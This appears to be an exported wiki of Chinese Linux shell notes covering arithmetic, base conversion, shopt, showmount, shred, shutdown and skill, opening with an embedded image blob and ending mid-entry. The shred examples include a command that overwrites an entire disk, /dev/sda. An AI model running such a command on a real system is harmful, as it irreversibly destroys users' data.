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
```bash
function log()
{
  log_path=$2
  message=$1
  time=[`date +"%F %T"`]
  echo "${time} ${message}" >> ${log_path}
}
```

<div class="shell-变量">

    <<toc-selective-expandable 'shell-变量'>>

</div>
* Tips
    ** 变量被引用前应该检查


* $RANDOM<pre>

```bash
 for i in {1..10} ;do echo $(($RANDOM%6));done
```
</pre>

* $SHELL<pre>

```bash
echo $SHELL

```
</pre>

* [[$PS1]]

* [[$TERM]] <pre>

```bash
man 7 term
```
</pre>
<div class="shell-循环控制语句">

    <<toc-selective-expandable 'shell-循环控制语句'>>

</div>
<div class="shell-杂项">

    <<toc-selective-expandable 'shell-杂项'>>

</div>
```bash
echo 2^63|bc -l

[root@vms01 ~]# num=$((9223372036854775808));echo $num                     
-9223372036854775808
[root@vms01 ~]# num=$((9223372036854775807));echo $num 
9223372036854775807
```
shell可以在不调用第3方命令,表示不同进制数据。

* shell 脚本默认数值是由10 进制数处理
* 以'' 0'' 表示 ''8 进制''.
* 以''0x''表示''16 进制数''.
* ''BASE#NUMBER'' 表示 ''其它进制''.BASE值:2-64.

 

!! 使用方法:

;其它进制转为10进制

:<div>

((表达式)),`(())`里面可以是任意数据表达式。


;八进制转十进制:
:<div>

```bash
$ ((num=0123)); echo $num;
83
$ ((num=8#123));echo $num;    
83
```

</div>
;十六进制转十进制:
:<div>

```bash
$ ((num=0xff));  echo $num;    
255
$ ((num=16#ff)); echo $num;    
255
```
</div>

;base64转十进制:

:<div>

```bash
$ ((num=64#abc_)); echo $num;       
2667327
```

</div>

</div> 

;十进制转为其它进制

:<div>

;十进制转八进制

```bash
$ echo "obase=8;01234567"|bc
4553207
```
</div>
 
;可以通过定义符:let达到(()) 运算效果。
:<div>

```bash
$ let num=0123;$ echo $num;   
83
```
</div>

!! 函数法 
:<div>

```bash
function bin(){
  local number=$1
  while [ "$number" -gt 0 ];do
    let bit=number%2
    two=${bit}$two
    let number=number/2
  done
  echo ${two}
  unset bit two number
}
```
</div>
!01.简介

```bash
#算术运算:
#(1) let var=算术表达式
#(2) var=$[算术表达式]
#(3) var=$((算术表达式))
#(4) var=$(expr arg1 arg2 arg3 ...)
#(5) declare –ivar= 数值
#(6) echo ‘算术表达式’ | bc
```

!02.实例

<pre>

!!1. let
let可以执行基本的操作,变量前不用加$。仅支持整数

```bash
qingsong@db2a:/tmp$ nb1=4
qingsong@db2a:/tmp$ nb2=5
qingsong@db2a:/tmp$ let result=nb1+nb2 <--加号两侧无空格
qingsong@db2a:/tmp$ let result++
qingsong@db2a:/tmp$ let result+=5
qingsong@db2a:/tmp$ let result--
```
!!2. []操作符
使用 [] 操作符,好处是可以直接输出表达式的值,不必先赋值给变量。仅对整数有效

```bash
qingsong@db2a:/tmp$ result=$[ nb1+nb2 ]
qingsong@db2a:/tmp$ result=$[ nb1 + 10 ]
qingsong@db2a:/tmp$ echo $[ nb1 + 11 ]
```
!!3. (())
也可以使用(()),但使用(())时,变量名之前需要加上$。仅对整数有效

```bash
qingsong@db2a:/tmp$ echo $(($nb1+$nb2))
qingsong@db2a:/tmp$ echo $(($nb1+10))
```
!!4. expr
仅对整数有效

```bash
qingsong@db2a:/tmp$ echo $(expr 3 + 4) <--加号两侧有空格
qingsong@db2a:/tmp$ echo $(expr $nb1 + 10)
```
!!5. bc
bc是个计算器,支持浮点运算

```bash
qingsong@db2a:/tmp$ nb3=54
qingsong@db2a:/tmp$ result=`echo "$nb3 * 1.5" | bc`
qingsong@db2a:/tmp$ echo $result
81.0
```
!!设定小数精度,下面设定精度为5

```bash
qingsong@db2a:/tmp$ echo "scale=5;355/113" | bc
3.14159
```
!!进制转换,obase/ibase分别表示oput/input base

```bash
qingsong@db2a:/tmp$ no=100
qingsong@db2a:/tmp$ echo "obase=2;$no" | bc
1100100
qingsong@db2a:/tmp$ echo "obase=16;$no" | bc
64
qingsong@db2a:/tmp$ no=1100100
qingsong@db2a:/tmp$ echo "obase=10;ibase=2;$no" | bc
100
```
!!开方与平方

```bash
qingsong@db2a:/tmp$ echo "sqrt(64)" | bc
8
qingsong@db2a:/tmp$ echo "10^2" | bc
100
qingsong@db2a:/tmp$ echo "10^3" | bc
1000
```
<<<
作者:匿_名_用_户 

来源:CSDN 

原文:https://blog.csdn.net/qingsong3333/article/details/77542958?utm_source=copy 

版权声明:本文为博主原创文章,转载请附上博文链接!
<<<
</pre>
!!简介
:<div>
shopt
===

显示和设置shell操作选项

</div>

!! 补充说明

:<div>


"shopt命令" 用于显示和设置shell中的行为选项,通过这些选项以增强shell易用性。shopt命令若不带任何参数选项,则可以显示所有可以设置的shell操作选项。

</div>

!! 语法  

:<div>


```
shopt(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-s:激活指定的shell行为选项;
-u:关闭指定的shell行为选项。
```

</div>

!! 参数  

:<div>


shell选项:指定要操作的shell选项。

</div>

!! 实例  

:<div>


使用shopt命令显示当前所有可以设置的shell操作选项,输入如下命令:

```
shopt           #输出所有可以设置的shell操作选项
cdable_vars     off
cdspell         off
checkhash       off
checkwinsize    on
cmdhist         on
dotglob         off
execfail        off
expand_aliases  on
extdebug        off
...
```

如图上所示,选项"cdspell"的状态为"off",即关闭cd拼写检查选项。现在,可以使用shopt命令将其开启,输入如下命令:

```
shopt -s cdspell          #开启cd拼写检查
```

执行上面的命令后,该选项的状态将变为"on",即开启状态。可以再次通过该命令显示一下shell操作选项即可,输出信息如下:

```
cdspell on                #开启cdspell选项
```

用户可以通过实际执行cd命令检查该选项是否被成功开启。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
showmount
===

显示NFS服务器加载的信息

</div>

!! 补充说明

:<div>


"showmount命令" 查询“mountd”守护进程,以显示NFS服务器加载的信息。

</div>

!! 语法  

:<div>


```
showmount(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-d:仅显示已被NFS客户端加载的目录;
-e:显示NFS服务器上所有的共享目录。
```

</div>

!! 参数  

:<div>


NFS服务器:指定NFS服务器的ip地址或者主机名。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* exp<pre>

```bash
# To shred a file (5 passes) and verbose output:
shred -n 5 -v file.txt

# To shred a file (5 passes) and a final overwrite of zeroes:
shred -n 5 -vz file.txt

# To do the above, and then truncate and rm the file:
shred -n 5 -vzu file.txt

# To shred a partition:
shred -n 5 -vz /dev/sda

# Remember that shred may not behave as expected on journaled file systems if file data is being journaled.
```
</pre>


* help<pre>

NAME
       shred - overwrite a file to hide its contents, and optionally delete it

SYNOPSIS
       shred [OPTION]... FILE...

DESCRIPTION
<pre>
       Overwrite  the  specified  FILE(s) repeatedly, in order to make it harder for even very expensive hardware probing to recover
       the data.

       Mandatory arguments to long options are mandatory for short options too.

       -f, --force
              change permissions to allow writing if necessary

       -n, --iterations=N
              overwrite N times instead of the default (3)

       --random-source=FILE
              get random bytes from FILE

       -s, --size=N
              shred this many bytes (suffixes like K, M, G accepted)

       -u, --remove[=HOW]
              truncate and remove file after overwriting; See below

       -v, --verbose
              show progress

       -x, --exact
              do not round file sizes up to the next full block;

              this is the default for non-regular files

       -z, --zero
              add a final overwrite with zeros to hide shredding

       --help display this help and exit

       --version
              output version information and exit

       If FILE is -, shred standard output.

       Delete FILE(s) if --remove (-u) is specified.  The default is not to remove the files because it  is  common  to  operate  on
       device  files  like  /dev/hda,  and  those  files usually should not be removed.  The optional HOW parameter indicates how to
       remove a directory entry: 'unlink' => use a standard unlink call.   'wipe'  =>  also  first  obfuscate  bytes  in  the  name.
       'wipesync' => also sync each obfuscated byte to disk.  The default mode is 'wipesync', but note it can be expensive.

       CAUTION:  Note  that shred relies on a very important assumption: that the file system overwrites data in place.  This is the
       traditional way to do things, but many modern file system designs do not satisfy this assumption.  The following are examples
       of file systems on which shred is not effective, or is not guaranteed to be effective in all file system modes:

       * log-structured or journaled file systems, such as those supplied with AIX and Solaris (and JFS, ReiserFS, XFS, Ext3, etc.)

       * file systems that write redundant data and carry on even if some writes fail, such as RAID-based file systems

       * file systems that make snapshots, such as Network Appliance's NFS server

       * file systems that cache in temporary locations, such as NFS version 3 clients

       * compressed file systems

       In  the  case  of  ext3  file  systems,  the  above  disclaimer  applies (and shred is thus of limited effectiveness) only in
       data=journal mode, which journals file data in addition to just metadata.  In both the data=ordered (default) and data=write‐
       back  modes,  shred  works  as  usual.  Ext3 journaling modes can be changed by adding the data=something option to the mount
       options for a particular file system in the /etc/fstab file, as documented in the mount man page (man mount).

       In addition, file system backups and remote mirrors may contain copies of the file that cannot  be  removed,  and  that  will
       allow a shredded file to be recovered later.

       GNU  coreutils online help: <http://www.gnu.org/software/coreutils/> Report shred translation bugs to <http://translationpro‐
       ject.org/team/>
</pre>
AUTHOR
       Written by Colin Plumb.

COPYRIGHT
       Copyright   ©   2013   Free   Software   Foundation,   Inc.    License   GPLv3+:    GNU    GPL    version    3    or    later
       <http://gnu.org/licenses/gpl.html>.
       This is free software: you are free to change and redistribute it.  There is NO WARRANTY, to the extent permitted by law.

SEE ALSO
       The full documentation for shred is maintained as a Texinfo manual.  If the info and shred programs are properly installed at
       your site, the command

              info coreutils 'shred invocation'

       should give you access to the complete manual.

GNU coreutils 8.22                                           April 2018                                                     SHRED(1)


<pre>
</pre>

</pre>
```
NAME
       shutdown - Halt, power-off or reboot the machine

SYNOPSIS
       shutdown [OPTIONS...] [TIME] [WALL...]

DESCRIPTION
       shutdown may be used to halt, power-off or reboot the machine.

SHUTDOWN(8)                                                   shutdown                                                   SHUTDOWN(8)

NAME
       shutdown - Halt, power-off or reboot the machine

SYNOPSIS
       shutdown [OPTIONS...] [TIME] [WALL...]

DESCRIPTION
       shutdown may be used to halt, power-off or reboot the machine.

       The first argument may be a time string (which is usually "now"). Optionally, this may be followed by a wall message to be
       sent to all logged-in users before going down.

       The time string may either be in the format "hh:mm" for hour/minutes specifying the time to execute the shutdown at,
       specified in 24h clock format. Alternatively it may be in the syntax "+m" referring to the specified number of minutes m from
       now.  "now" is an alias for "+0", i.e. for triggering an immediate shutdown. If no time argument is specified, "+1" is
       implied.

       Note that to specify a wall message you must specify a time argument, too.

       If the time argument is used, 5 minutes before the system goes down the /run/nologin file is created to ensure that further
       logins shall not be allowed.

OPTIONS
       The following options are understood:

       --help
           Print a short help text and exit.

       -H, --halt
           Halt the machine.

       -P, --poweroff
           Power-off the machine (the default).

       -r, --reboot
           Reboot the machine.

       -h
           Equivalent to --poweroff, unless --halt is specified.

       -k
           Do not halt, power-off, reboot, just write wall message.

       --no-wall
           Do not send wall message before halt, power-off, reboot.

       -c
           Cancel a pending shutdown. This may be used cancel the effect of an invocation of shutdown with a time argument that is
           not "+0" or "now".

EXIT STATUS
       On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO
       systemd(1), systemctl(1), halt(8), wall(1)

```



```bash
# Reboot the system immediately
shutdown -r now

# Shut system down immediately
shutdown -h now

# Reboot system after 5 minutes
shutdown -r +5

#指定时间关机
shutdown 14:30 "yaoyaoyao"

#取消指定时间关机
shutdown -c

#指定5分钟后关机,同时送出警告信息给登入用户:
shutdown +5 "System will shutdown after 5 minutes"


```
!!简介
:<div>
skill
===

向选定的进程发送信号冻结进程

</div>

!! 补充说明

:<div>


"skill命令" 用于向选定的进程发送信号,冻结进程。这个命令初学者并不常用,深入之后牵涉到系统服务优化之后可能会用到。

</div>

!! 语法  

:<div>


```
skill(选项)
```

</div>

!! 选项  

:<div>


```
-f:快速模式;
-i:交互模式,每一步操作都需要确认;
-v:冗余模式;
-w:激活模式;
-V:显示版本号;
-t:指定开启进程的终端号;
-u:指定开启进程的用户;
-p:指定进程的id号;
-c:指定开启进程的指令名称。
```

</div>

!! 实例  

:<div>


